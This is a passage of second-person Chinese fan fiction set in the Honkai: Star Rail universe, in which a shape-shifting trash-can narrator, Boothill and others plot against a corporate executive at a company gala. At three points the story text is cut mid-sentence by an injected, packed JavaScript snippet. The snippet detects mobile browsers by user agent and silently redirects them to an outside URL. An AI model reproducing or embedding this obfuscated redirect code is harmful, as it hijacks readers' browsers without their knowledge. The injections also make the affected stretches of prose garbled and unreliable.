这要是放在你以前那个当人的社会,你指定就去报警了。但是这是在一个有法度但不多的世界,跟谁报警你都不知道,也就只能让那些白骨继续躺在垃圾里了。 “你有公司酒会的邀请函?”波提欧陡然间出声。 “没有。” “喵!”波提欧皱了皱眉:“那个公司狗没给你?” 砂金? 你想到了照片的事情,掀开桶盖在桶身里翻了翻,居然找到了两张不同内容的照片。一张是你将阮·梅造物塞进自己身体内的情景,而另外一张则是你在广场上方差点儿砸向阮·梅的情景。这两张所谓的阮·梅遇袭案至关重要的证据,竟然就这么水灵灵地躺在你的桶身内。 难道是在图书馆把书还给真理医生的时候不小心漏掉了,还是真理医生故意为之。 事到如今,你更倾向于后者。 你将两张照片拿在手里,仔细在边角搓了搓。已经有些起了边儿,你一鼓作气将表面这层膜撕了下来。一张烫金色的邀请函呈现在眼前,不过署名却是维里塔斯·拉帝奥。 你将这张邀请函递给波提欧,然后开始琢磨第二张照片。将一层膜再次撕下来后,是另一张烫金色的邀请函,署名正是阮·梅。 你有些无语但感官又有些复杂。 原来绕了这么大一个圈子竟是为了传递这两张邀请函。能让砂金如此费尽心思的难道是市场开拓部的主管,那个叫奥斯瓦尔多·施耐德的? 听说这人以前还是什么无名客,但是他的开拓信条却有些血腥,为达目的不择手段。有很多星球都在他的干预下成为了公司的附属品,垃圾星应该也在其中,著名的泰科铵星也是。 “得了,有这张东西,”波提欧夹着那张邀请函晃了晃,“这下看他喵的还怎么跑。” 望着波提欧有些兴奋的样子,你却在想。如果真的杀了那个开拓部主管,但是事后却被人识别出身份,公司会不会伺机报复,垃圾星会不会因为你受创。 波提欧看样子已经无牵无挂,砂金有后台撑着,你有什么呢。你来这里是想打开市场的,混点儿知名度也无可厚非。但是如果得罪了公司的话,会不会有什么不可挽回的后果。 不过话又说回来,垃圾星与银河脱轨太久,公司能不能想起来有这么个星球都难说。再者,除了垃圾星有垃圾桶外,别的地方也有。就比如公司,垃圾桶是随处可见。 垃圾桶是一个地方整不整洁的最后底线。即使有的时候,人类依旧会随处乱扔垃圾或仅仅只是扔到垃圾桶的旁边。 波提欧像是已经看出了你的心思,他向来不掩饰自己,骂道:“喵,你他宝贝的不会是要退缩吧。” 你故意叹了口气道:“我什么时候答应过你要前进的。” 波提欧哑口无言,良久,才低低地骂了声:“喵!” 你哈哈笑了起来,拍了拍波提欧的肩膀:“开玩笑的。” “这个玩笑可不好笑。” “你有什么准备吗?”你问道:“我们不会就这样拿着两张邀请函进去吧。而且这两张邀请函上的人,门口的保安应该都认识,万一被认出来了怎么办。” “依我看,你都用不着邀请函。”波提欧把两张邀请函都揣进了腰里,“你就装作正常垃圾桶的模样进去就行了。” 也是。 你没有说话,已经默认了。 波提欧有些烦躁地问:“你为什么不问我剩下那张邀请函给谁。” 为什么要问。 你看了看波提欧。 波提欧看样子更加烦躁了,“宝了贝的,不问就不问。”他站起身来,“你准备准备,睡个好觉,明天晚上行动。” “等会儿。”你叫住了波提欧。 “怎么了。”波提欧的脸上竟然带着点儿喜悦。 你沉默了半晌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197760|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你想不想来一场酣畅淋漓的逃跑?” “什么意思?” 波提欧有些没明白,然不过片刻他便明白了。因为你已经掀开桶盖,原地起跑,向前冲刺。 “我喵?” 波提欧显然没料到还有这么一手,不过他很快便反应了过来。不知道从什么地方拿出来一件红色的披风放在身前,然后对着你挑衅:“来啊,小宝贝!” 居然把你当成牛来耍。 是可忍孰不可忍! 你快速冲向波提欧。波提欧一个标准的闪躲动作便避开了你的袭击,而你则由于强大的惯性一直到冲刺了很远才堪堪停下。 “来啊,小可爱。” 波提欧又开始了。 你故意学着牛蹬了两下腿,然后再次向前冲刺。但是这次你没有再冲刺出去,而是直接停在了波提欧的身旁。 “喵?” 波提欧愣了一下,你瞅准时机将他顶进了自己的身体里。然后扣上桶盖,缩起双手双脚,一骨碌往前滚去。 “宝了贝的!” 波提欧估计在你的身体内晕得七荤八素了,一路上骂声不断。 他这副身躯不愧是铁做的,果然比砂金沉多了。你想着,不管明晚杀不杀得了奥斯瓦尔多·施耐德,事后总归是要逃跑的。现在你们这样的逃跑方式,估计那些公司员工也追不上。 “你还好吗。” 你出声询问桶里面的波提欧。 “他宝贝的……”波提欧的声音里满是怒火,“你他喵的被人装在垃圾桶里试试。” 不好意思,事到如今还没有比你大的桶。就算有,你还能自如切换大小呢。 比起上一次带着砂金滚,这次你有了经验,倒是能自主控制了。说停就停,绝不含糊。 波提欧顶开了你的垃圾桶盖,伏在你的桶身边缘吐个不停。但吐出来的都是一堆电子零件,里面似乎还有子弹。这家伙,倒真像个量产的工厂。 “吐完了没。” 你伸出双手,在波提欧的后背上拍了一下。 “喵!” 波提欧吐了好久,才终于筋疲力尽地靠在了你的桶身里,手搭在小腹上,胸膛微微起伏。 改造人原本是没有温度的。你是个垃圾桶,自然也谈不上温度可言。但是不知为何,你居然能感觉到从波提欧身上传来的热度,一阵一阵的,似乎是过电一般。 你禁不住打了个寒颤。 完蛋,波提欧体内该不会有根电线断了吧。 “波提欧……波提欧。” 你叫着他的名字,波提欧却不说话,双眼紧闭,歪着脑袋。你心底后悔死了,早知如此,便不带着他胡闹了。 唯恐滚动起来加重波提欧的伤势,你便站起来去找医生。但由于波提欧通缉犯的身份,这么光明正大地去找也不太好。只能去拜托一下砂金或者真理医生了,希望这俩人能靠谱点儿,找个好医生或者真理医生能把电路给接上。 才走一段路,背后就有个人拽住了你的桶盖。你回身,却见一个金色长发的男人站在身后,看着你的那双绿色眸子如春风一般。手捻一朵白花,身背一个巨大的棺椁。 “请让在下一试。” 11. 奶里奶气的小孩子 你把波提欧拖出来,见后者脸色不太好的样子,你只能祈祷死马当活马医了。不过能从一个改造人的脸上看出好坏,你也是厉害了。 金发男人蹲下身子,微微闭眼,掌间一朵白花垂下来,舒适的绿色光芒覆盖住波提欧的身体。 趁男人治疗的时候,你不禁有些怀疑,波提欧这两天到底经历了什么。要是他这副改造人的身躯经你这么一折腾就能散架的话,那给波提欧改造身躯的医生也太差了。别说报仇了,连自保都困难。 难道是公司的人? 你蹲下身子,仔细端详着金发男人的面庞。这人肤色白皙,说话也温温柔柔的,看起来一副弱不禁风的模样。但是能在庇尔波因特背着这么大棺椁还安然无恙的人,能力指定不容小觑。而且这治疗的能力,完全不是简单粗暴的物理手段,什么拆开检查电路什么的,而是润物细无声的意念治疗。能有如此强大治疗能力的,估计是丰饶的人。这家伙幸好不是在仙舟。 不知道过了多久,金发男人睁开眼睛。猝不及防,你撞入那双绿色的眸子。 呃…… 你眨了眨眼睛,丝毫没有垂眸的自觉。他轻轻勾了勾唇,并未在意你的直视,而是收了手:“好了。” 你伸出手探了探波提欧的额头,发现没有那种电流过身的感觉后,陡然间戏精上身,双手抱拳,摆出一副极其正义凛然的模样:“请问阁下尊姓大名,来日江湖再见,必将报答您的恩情。” 男人看了你半晌,似乎是在消化你动不动就犯癫的反应,抿了抿唇角:“我名罗刹。” 原以为他不会报上姓名,可能也就说句什么江湖有缘再见之类的,不料这个人不按常理出牌。你便也只能再次抱拳,微微低头,“罗刹兄。” 罗刹笑意盈盈地点了点头:“我还有事要忙,就此别过。” “有缘再见。” 送走罗刹后,你把波提欧装进桶身里。循着记忆回到波提欧的住处。把这家伙放回到床上后,你倏然间觉得背后有一股凉意。 脑子还没反应过来,身体已经先行一步。你低下身子,紧急后撤,绕到那人的背后正想给他来上一脚。不料,待看清那人的身形后,你稍微愣了一愣。 怎么是个小孩子—— 腿停留在半空中,那个小孩子转过身来,还咬着奶嘴。穿得倒是挺像个商场精英,一身精致的黑色西装,还戴着一顶别了一副眼镜的黑色帽子。帽檐下露出些许彩粉色的发丝,脸庞精致得像个瓷娃娃。 “姐姐——” 声音奶奶的,张开手臂朝你奔过来。你有些复杂地收了腿,说实话,你并不喜欢小孩子,更不喜欢这种成熟的小孩子,但也不至于露出讨厌的神色。 你谨慎地与他保持着点儿距离,既不想被他抱,也不想蹲下身把他抱起来。小孩儿扑了个空,神色有些委屈,声音嗲嗲的,“姐姐——” 看上去一副快要哭了的模样。但刚才把波提欧放在床上时背后升起的那股寒意,你实在无法忽视。 “小孩儿,你是公司的人吧。” “公司……”小孩子似乎有些听不懂:“公司是什么呀?” “……你怎么会在这里?” “我找不到妈妈了……”小孩子的声音带着点儿哭腔,“妈妈走丢了……我找不到妈妈了……呜呜……妈妈,我要妈妈……” 小孩子哭得厉害,你有些心烦意乱。但还是蹲下身子来,耐心地给他一点一点擦去眼泪。 伪装嘛,谁不会。 “我带你去找妈妈,好不好。” 你细声细语地哄着。在你的努力之下,小孩子终于停止了哭泣,扯了扯你的胳膊,也不说找妈妈的事情了,“姐姐,我还有作业没写,你能帮我写吗?” “什么作业呀?” 你摸了摸小孩子的脑袋,虽然只能摸到帽子。手情不自禁地理着帽檐下那几楼粉红色的发丝,竟有些爱不释手。 这是一种什么奇异的反应。小孩子身上香香的,软软的,像个软糯的小团子一样,叫桶舍不得放下手来。 “是一个作文。”小孩子的声音越发甜了,甜得有些诡异,“送给妈妈一个礼物,妈妈会有什么反应。” 你垂眸。 以前当人的时候你倒是给妈妈买过东西,但她不是嫌弃就是嫌弃,到后来你都不想再费什么心思了。 “姐姐——”小孩子握住你的手,将你从回忆里拉出来,“姐姐,你能扮一下我的妈妈吗?” 呃…… 估计你天生冷漠,听到要当什么妈妈就本能地不适。看来这个小孩子要失算了,绞尽脑汁研究如何拐带,可惜你并不吃这一套。 你将手从小孩子的手里抽出来,“对不起,我没有当妈妈的经验。” “姐姐……”小孩子的声音又带了点儿哭腔,眼泪汪汪的,好像下一秒就会哭出来一样。 “好了,别无理取闹。”你捏了捏小孩子的手,凶巴巴地威胁,“再哭,我就把你丢出去喂狼。” 这招百试不爽,小孩子果然不闹了,怯怯地开口,“姐姐,我们去找妈妈吧。” “你妈妈长什么样子。” 小孩子咬着手指头想了想,“紫色衣服,戴着墨镜。” 紫色衣服,戴墨镜……这描述怎么感觉有点儿耳熟,你似乎好像在哪里见过这个人。 ! 你想起来了,好像是在公司发布的通缉令上。那个最昂贵的悬赏金,叫卡芙卡的星核猎手。 卡芙卡有孩子? 不对,这不是重点。重点是这个小孩子为什么认为你会认识卡芙卡,还以此为机会想套出你的话。不对,这还不是重点。重点是他怎么会知道你会来找波提欧,特意在这里守株待兔。不对,这依旧不是重点,重点是他怎么会知道波提欧住在这里。 难道波提欧是他伤的? OYG。 你拍了一下自己的脑门。 早该想到的。 为什么刚才明明已经猜到波提欧体内电流短路可能是公司造成的,为什么还要带他回到这里,这不是送上门的牢饭吗。 不过话又说回来了,既然现在这个小孩子还在装傻,那么就说明可能也不是牢饭? 你抱着试探的想法问了一句,“你和妈妈最后分手的地方在哪里?” “嗯……”小孩子继续咬手指头,没一会儿就摇了摇头:“我忘记了。” “那姐姐就没有办法了,要不你自己去找妈妈吧,姐姐就不管了。” “姐姐……” 就在小孩子的温柔攻势下,你却在想另外一件事情。他这么拖延时间干什么,难道不怕波提欧醒过来直接把他认出来吗。难道波提欧也不认识他,所以这个小孩子才这么有恃无恐的?难道这个人不是市场开拓部的,和波提欧没有到那种水火不容的地步? “姐姐还要看着这个大哥哥。”你指了指床上的波提欧,“这个哥哥受伤了,姐姐得在这里照顾他。等他醒了,姐姐再和你一起去找妈妈好不好。对了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197761|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你叫什么名字啊。” “姐姐应该听过砂金吧。” 声音一下子就变了,从孩童时期的奶声变得有些伶俐的少年音。 事到如今,你也没必要再夹着嗓子说话了。冷笑一声,双手环胸:“阁下终于肯卸下伪装了吗?” “姐姐,虽然不想承认,但我确实没有伪装。我是欧泊,石心十人之一。你应该听过我的名字。” 你笑了一声,“不好意思,还真没听过。” “现在听到了。”欧泊咬着奶嘴,理了理胸前的小领结,声音又变得甜甜的:“姐姐,我很喜欢你哦。” 你瞬间起了一层鸡皮疙瘩,忍不住一巴掌拍在脑门上。 “姐姐应该知道卡芙卡在哪里吧。”欧泊的声音又变得有些许伶俐了,但声线只在孩童和少年之间切换。 “我不知道。” “没关系,姐姐早晚会知道哒。”欧泊咬着奶嘴,朝外走去,“我先走啦,姐姐记得来找我玩哦。” 谁要找他玩,危险的小孩子。 待欧泊走后,你再次把波提欧往桶身里塞的时候,这货终于醒了,“喵,你他宝贝的弄疼我了。” “将就着点儿吧。” 你连哄带骗把波提欧拖进桶身里。这次倒没采取滚的方法了,而是直接用腿走。不过这家伙也太沉了,走着走着你都感觉到桶身要擦地了。 “宝了贝的,你要带我去哪儿。” “不知道,但总归是个安全的地方。你住的地方被监视起来了,你知道吗。” “喵!肯定是那帮公司狗干的。” “常在河边走哪有不湿鞋,狡兔三窟,你难道就没有别的据点吗。”赶在波提欧说话前,你开口:“算了,别的据点可能也有人在守着。那个小孩子我误会他了,他可能只是来给我们提个醒的。” “小孩子?”波提欧的声音都高了几分贝:“你碰到欧泊那条狗了?” “看来有故事,和我说说呗,你们怎么了。” “喵!我看他是个小孩子,手下留情,没想到他竟敢阴我,宝了贝的!” “你的伤是他造成的?” 在你的询问下,波提欧骂骂咧咧地把事情经过说了一遍。原来昨天他持枪袭击舒俱时,现场碰到个小孩子。波提欧以为这个小孩子是无意间经过,一时之间父爱泛滥,唯恐伤到他,就让这个小孩子躲在自己身后。没想到这个小孩子不知道在背后干了什么,波提欧就感觉电流穿心而过。当时没觉得什么,后来下了大雨,他身体内电路紊乱才知道出了事情,只能放弃刺杀逃跑了。 “后来你都知道了。”波提欧说完,很是不甘心,“喵!后来我才知道这个小屁孩叫什么欧泊,宝了贝的!” 你有些无语:“你和公司有仇,怎么没把公司研究透彻。” “他喵的谁能想到一个小孩子居然是石心十人之一。” “你很喜欢小孩子?” 波提欧沉默良久才开口:“关你什么事。” “随口一问罢了。”你没有再继续这个话题,眼看天色已经亮了,问了一句:“你现在感觉怎么样,晚上的行动还能参加吗?” 你问的是还能参加吗,而不是要不要取消。 波提欧皱眉:“什么意思,你要单打独斗?” “不是还有一张邀请函吗,你的同伴应该……” 你的话还没说完,一道阴沉的声音便插了进来,“算我一个。”抬头,一个不堪重负的红结便闯入你的视线。 12. 优雅的骑士 这是一件比较诡异的事情。现在你的身旁有两个公司的通缉犯。其中一个抱着把破剑,一脸阴沉,身上散发着浓厚的血腥味,脸上明晃晃地写着三个字——不好惹。而另外一个则脾气暴躁,张口闭口都是小宝贝小可爱。 两个人看上去都是没有耐心的类型。不管波提欧的意思是骂人还是暧昧,感觉刃都会给他一剑的程度。现在你只希望波提欧能够不要开口。要是放在以前也就罢了,两个人爱怎么打怎么打。但现在波提欧明显身体还没恢复,要是真打起来,还真不好收场。希望两个人都有点儿眼力劲儿,但凡有一个人像你这么好脾气,这架就打不起来。 然而事实证明,你还是擅自期待擅自破防了。 波提欧:“喵,你他宝贝的又是谁。” 刃:“……” 这位仁兄人狠话不多,冷笑一声,直接零帧起手。 ! 你顿时惊出一身冷汗,急忙蹲下身子。剑锋擦着你的桶盖而过。此时此刻,你竟有些庆幸自己没有头发,否则肯定得露青皮了。 “打住!这位仁兄,请听我一言。” 你一边躲避着刃的进攻一边试图和这个看上去不好惹的星核猎手讲道理。大体意思就是说波提欧精神有什么问题啦,别和他一般计较。然而这样做的后果就是波提欧开始对你骂骂咧咧了,什么你他喵的才有问题巴拉巴拉之类的。 一时之间,场面有些滑稽,你没忍住笑出了声音。刃和波提欧都被你这一声笑弄得有些愣神。你瞅准时机,一把攥住刃的手腕,使劲儿一扭。刃吃痛松手,那把破剑就落在你的手中。 你掂了掂,竟然还有点儿顺手。眼见刃脸色沉得都快滴出水来了,你快速将剑背在身后,伸出手,急忙开口:“仁兄仁兄!” 不知道刃是不是怕被你碰到胸前的红结,居然真的停了下来。双手环胸,冷哼一声。 终于冷静下来了。 你松了口气。 但没想到波提欧还是骂骂咧咧的,一口一个小可爱一口一个小宝贝。你没忍住,直接一巴掌拍在他的脑门上。没想到波提欧骂得更凶了,你没有法子,只能拿出对付欧泊的那一套,恶狠狠地威胁道:“你再开口,我就把你全身的零件卸掉。” “喵!” 波提欧用最后一声显示完他的倔强之后,就不再开口了。 你如释重负地松了一口气,把剑还给刃:“这位仁兄,你肯帮助我们,我们感激不……?” 你的话还没有说完,刃已经转身走了。 你有点儿丈二和尚摸不着头脑,这究竟是怎么一回事。他不是说算他一个吗,怎么这就走了。 这个时候,波提欧终于找着机会开口了:“宝了贝的,你他喵的该不会真的觉得他会帮助我们吧。” “为什么不会。” 波提欧冷哼了一声:“人家都是干大事的人,怎么会和我们这些小喽喽混为一谈。” 这话从波提欧口里说出来,还有些不真实的味道。他都敢当着人的面骂小宝贝小可爱了,竟然还自诩为小喽喽,简直是莫名其妙。 不过你也没有心情和波提欧拌嘴了,眼下是怎么把波提欧送到一个安全的地方。你拖着沉重的桶身继续往前走,实在走不动了问了波提欧一句:“你还没恢复啊。” “没有。”波提欧答得极为干脆。 好家伙,刚才骂人的时候倒是底气十足。 但你实在走不动了,又不能滚,唯恐加重波提欧的伤势。你在心底仰天长叹,你宁愿将整个庇尔波因特举重一亿下,也再也不想驮着波提欧走路了。 救命啊—— 老天仿佛真的听见了你的求救声,不远处还真有个熟悉的人。你定睛一看,原本升腾起的希望再次落空。 是那个花枝招展的小孔雀啊。 值此山雨欲来的时刻,这家伙肯定要避嫌的。你便也没抱任何希望,但是没想到与之擦肩而过的时候,他却低声说了句:“玫瑰。” 玫瑰? 玫瑰是什么? 波提欧却好像听懂了,居然很是无奈地叹了一声:“喵!是那个喋喋不休的家伙。” 喋喋不休的家伙。 波提欧艰难地描述着:“是个措辞极其优美的家伙。” 你乐了:“和你一样优美吗?” 波提欧:“喵!” 你大概也能猜出是个什么样的人了,因为你已经嗅到独属于玫瑰的芳香了。一个火红色头发的男人身着银甲,手执玫瑰,轻嗅芬芳。面容精致,温柔似水。 “喵,看够了没有。” 波提欧有些不满:“色狼。” 你不以为耻:“美男是社会的共有财产,欣赏一下又如何?” 波提欧嗤笑一声:“宝了贝的,还记得你的视线粘在我身上的时候吗。” “忘了。” “喵你宝贝……” 你和波提欧斗嘴的时候,那个红发男人已经发现了你们的存在,右手放在胸口,表情虔诚:“这位美丽的生灵,请允许我表达内心的喜悦。” 美丽的生灵? 你不确定地指了指自己,头顶缓缓冒出一个问号。无论是当人还是当桶的时候,美丽都是和你不搭边的词汇。 你打开了自己的桶盖,将波提欧抱出来。 “纯美骑士银枝,谨在此以一支玫瑰的沉重分量,向你致谢。” 既然氛围已经到了,你不表达点儿似乎也不够意思,便双手抱拳:“银枝骑士客气了,路见不平拔刀相助,此乃在下的本分。更何况是如此一位……谈吐不凡的巡海游侠,在下自当全力相助。” 肉眼可见,波提欧的嘴角似乎抽了抽。 你在心底偷偷笑了两声。 “美丽的生灵,若你因此深受公司的困扰,请务必告诉我,我必将竭尽全力,全力以赴,护你周全。” “万分感激,在下将感激不尽!” “请原谅我身有要事,无法与你同行。但切莫灰心,我有预感,我们必将再次重逢。期待与你的下一次见面。” 送走银枝后,你都笑得有些抽搐了。虽然你没有脸,就算有也是僵硬的。你扒拉了一下自己的桶盖,找了个草丛静静地呆着,一直等到夜晚降临。枝叶间的露水轻轻滑下,月色皎洁,轻薄如纱。你才伸了个懒腰,刚一睁开眼,一个小小的萤火虫便停在你的面前。 庇尔波因特居然还有萤火虫?这类小时候才见到的生物,你还以为早就灭绝了。 你双手轻轻合拢,将萤火虫扣在掌心内。然而张开手时,才发现掌心里根本没有。周围也没有这只萤火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197762|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫的身影了,你眨了眨眼睛,有些怀疑是自己出现了幻觉。 不管了,还是干正事要紧。 你缩起双手双脚,往公司滚去。 这是一个露天的酒会,红色的地毯一直铺到门口。身着保安制服的员工正在盘查着手持邀请函的客人,一个个穿着笔挺的西服,打扮得人模人样的。 你隐匿在草丛里,等到那些公司员工明显有些懈怠时,才缓缓滚了进去,藏在喷泉里面。清凉的泉水冲刷掉你一路滚来沾染上的灰尘,你顿时觉得舒坦了不少。正观察那些商场精英时,先前见到的那只萤火虫又出现在了面前。它好奇地停留在你的桶盖上,你竟感觉到了一丝不易承受的重量。 你没有再管它,而是趁人不注意悄声滚到了一张桌子底下。外面声音很是喧哗,骰子碰撞的声响不绝于耳。你甚至还听到了砂金的声音,“全押。”略带轻佻与自信,你几乎能够想象得到他如今脸上是什么神情。 然而就是有人不好好坐着,偏要将脚使劲儿往桌子底下伸。你拼命后退,但又很小心地不离开桌子底下。 你缩小了身躯,变成一根手指般大小。终于逃脱掉了那只脚后,正待松口气,一只大手却从后面直接将你捉走了。 ! 对上一张精致的小孩子面庞,你瞪大了双眼。 欧泊! 此时的他还维持着白天你见他时的装扮,但那头彩色的发丝似乎比白日更为耀眼。他无声地蠕动着唇角,你几乎可以猜得到那是怎样的两个字。 姐姐—— 姐你个大头鬼! 放我下来! 如果你现在有嘴巴,大概会直接咬欧泊一口。如果你现在有眼睛,大概会狠狠地瞪着他。可惜你什么都没有,不管心底如何生气,你都没有五官来传达出你的情绪。 你怒了,张开桶盖一口咬住了欧泊的手指。欧泊似乎没料到你有如此反应,急忙甩手。待反应过来时,你已经被抛了出去。砂金手疾眼快,借助摇骰子的时机将你装进了骰盅里,然后又手指灵活地将你神不知鬼不觉地藏在了背在身后的那只手中。 这个家伙,不愧是赌博的好手。不仅运气好得过分,连出老千的功夫都是血液里流淌的。 你再度缩小身子,顺着砂金的指缝爬上他的手臂,直到肩膀。然后蹲在他的肩头,扶着脖子看他们到底在玩些什么。 这张桌上有七八个人,一眼望过去,男的少女的多。看来这年头,还是女孩子要厉害些,男的基本都被家里宠坏了。你不禁有些羡慕,没有性别歧视真好。 这些人里除了你认识的那个小孩子欧泊外,还有一个小麦色皮肤的白发男人,紫色西服穿得很是整洁。不过你能注意到他倒不是因为那身高贵的气质,而是这人看向砂金的眼神总是满满的敌意。 砂金自然也没给他好脸色,谁都不赢也要赢他。听着砂金调侃他的话语,你才知道原来这个家伙叫舒俱。语调有些轻佻,但声线却有种压抑着的沉稳。 书具?还文具呢。 你正在心里吐槽,对面舒俱的声音便传了过来:“砂金,我们再来赌最后一局,就以……”他低低地笑了一声,你蹙眉,正巧撞上他的视线之内。心内顿时预感不妙,正待逃跑,舒俱的声音却再次响起,“你肩膀上的那只垃圾桶为赌注。” 13.塌陷的公司大楼 这个家伙! 舒俱此话一出,你顿时收获了数不清的目光。众目睽睽之下,砂金将你从肩膀上拿下来,捧在手心里往前送了一送,“你说的是这个吗?” 语气极为勾人。反观舒俱,却似乎有些不以为意地冷哼了一声:“正是。”唯恐砂金不答应似的,还慢悠悠地补了一句:“我看,不仅是我想要,欧泊也势在必得吧。” 欧泊的声音奶声奶气,小孩子的语气,但口吻却不似孩童地回了一句:“我势在必得,你就会拱手相让吗?” 话语里机锋不言而喻,但这话却是对舒俱说的。 舒俱的脸色微变。 你心中窃喜。 这家伙本想让砂金和欧泊对上的,没想到欧泊却不买他的账,反倒回怼起他了。 但是这么一来,砂金如果不把你拱手相让,似乎也有些说不过去。毕竟舒俱都说了欧泊对你有兴趣,而且欧泊似乎还是砂金的上级。 真是骑虎难下。 你随时有机会逃跑,但是此时此刻你却想看看砂金如何抉择。你倒是没指望砂金会为了你得罪欧泊,只是想看看他如何处理应付这种场面罢了。 只见砂金微微抿唇,将你放在了桌子的中央,然后轻轻地笑了一声:“我如何抉择并不重要,关键是看我这位朋友如何抉择。” 原来是这么解决的吗。 你顿时有些服气,将身躯变大之后,桌子在你的重量之下塌陷。骰子滚落了一地,众人面面相觑。 “原来姐姐不喜欢赌桌。”欧泊的奶声打破了沉默,他咬着奶嘴,含混不清地嘟囔了一句:“姐姐早说的话,我就不摆这张赌桌了。” 砂金和舒俱的唇角都抽了抽。显而易见,姐姐两个字还是深深刺痛了他们的鼓膜。 砂金率先反应过来,却是语调微扬,一字一顿:“姐、姐?” 舒俱也极为捧场:“怕是欧泊先生半路认回来的。”他笑了一声:“怎么不搞个仪式呢?也好让我们见识见识。” 砂金附和了一句:“言之有理,省得我还得费心思让我这位朋友蒙混进来了。” 欧泊拿下奶嘴,声音凌厉了一些:“落花有意流水无情。我倒是有这个心思,姐姐却没依我。” 一时之间,目光又齐刷刷移到了你的身上。你轻轻地咳了一声,“听我解释……” 你的话还没有说完,十点钟方向便响起了噼里啪啦的枪声。人群顿时骚乱了起来,所有人都在尖叫,所有人都在往外跑。只有几个无动于衷的人,不跑也不动,这里面就包含了此时此刻对你虎视眈眈的三个男人。 波提欧动手了。 有个公司员工模样的人迅速过来对着欧泊耳语几句。 不用你刻意去听,你也大致能猜到什么内容。容不得这三个男人多想,波提欧已经手持枪械朝这边扫射了过来。 你将砂金扑倒,一人一桶在地上滚了几圈才堪堪停下。你被砂金压在下面,在此紧急时刻,他的眸子里却无半分慌乱,反倒有心思调侃起你来。 “姐姐——” 什么时候了还开这种玩笑。 你推开砂金。 公司的人已经反应了过来,一大群员工冲进来,将波提欧围了个水泄不通。波提欧一边嚼着子弹一边开启扫射模式,顺便踢了张桌子挡住身体,对着那群公司员工就是砰砰几枪。 你正要上去帮忙。 不料却被砂金拉住,他冷静分析着局势:“欧泊在大庭广众之下叫你姐姐,已经将你和战略投资部绑定在了一起。此时你出去,帮助波提欧的话,不管事后奥斯瓦尔多是死是活,这件事都和战略投资部脱不了干系。” “他也说了,我没有承认。” 你挣脱开砂金的手臂,就要冲出去。砂金却再次拉住你,“就算和战略投资部没有关系,现在大批公司员工已经赶过来了,你们要如何逃离?” “我刀枪不入,子弹奈何不了我。”此刻你也冷静了下来,问砂金:“你有什么主意?” 砂金面露微笑,似乎仅仅只是因为你get到了他的接连阻拦之意:“这里离星际港口不远,我准备了一艘舰船。” 你点了点头,将身躯变大几倍后直接碾压向那群公司员工。这庞大的气势,不亚于石磨碾压豆子。一个个员工在你的身躯之下被压成肉饼。剩余的人将矛头对准了你,却发现无论如何都奈何不得你分毫。你直接朝波提欧滚去,后者看到你过来了,直接破口大骂:“喵的,奥斯瓦尔多那个公司狗是别人假扮的!” “……” 看来砂金的计谋有所败露。 顾不得多想,波提欧跳进了你的身躯里,你朝外滚去。波提欧借着桶盖的掩护,砰砰朝后射击。然而那群公司员工穷追不舍,即使被打倒了也很快有一大批人补上来,甚至还有人在前面挡住你的去路。 你的体力渐渐有些不支。眼看前面又有一大群人跳出来,你咬紧牙关,正想一鼓作气冲出去。一道红色身影从天而降,唰唰几剑后,几具尸体接连倒下。 是刃。 他看到你血迹满满的身体,冷哼一声:“来早了,收不了尸。” 你竟也有心情开起玩笑:“要不你现在直接给我一剑。” 刃脸色沉了下来。 你不好再说话,带着波提欧冲出了人群的包围。刃虽然肉|体凡身,但却拥有不死之身,待会儿还能再抢救一下。波提欧这家伙虽说是个铁疙瘩,但是比刃要脆皮多了。 你朝砂金口中的星际港口滚去。 冷风在耳边呼呼作响,你的头脑忽然间冷静下来。 砂金是认识奥斯瓦尔多·施耐德的。波提欧都看出奥斯瓦尔多是假扮的了,难道砂金会看不出来吗。既然看出来了,为何不紧急示警。难道不怕波提欧或者你被抓住之后将他抖落出来吗,还是他根本没想着要你或者波提欧活下来?又或者砂金完全没有考虑这些,横竖战略投资部和市场开拓部已经水火不容,他也懒得遮掩了。但既然奥斯瓦尔多已经有所准备,那砂金准备的舰船他会不动手脚吗?要是这样的话,那艘舰船—— 你紧急停了下来。 不管怎么想怎么看,这艘舰船都极为危险。 波提欧被你突然间的刹车弄得头昏脑胀,忍不住叫了一声:“喵!怎么了?” “没什么。”你把波提欧放了下来。 你这番怪异的行为让波提欧起了疑心,他又是叫了一声:“喵!有埋伏?” “是吧。你找个地方躲起来,我去引开他们的注意力。” “宝了贝的,你给我活着回来。你要是死了,我就把公司夷为平地。” 波提欧此时也知道自己只会拖你的后腿,也不再啰嗦,只是放狠话。但是这狠话放的对象不对,你有点无语。就冲波提欧这句话,你不死也有点儿想去死了。 “就好像我不死你就不 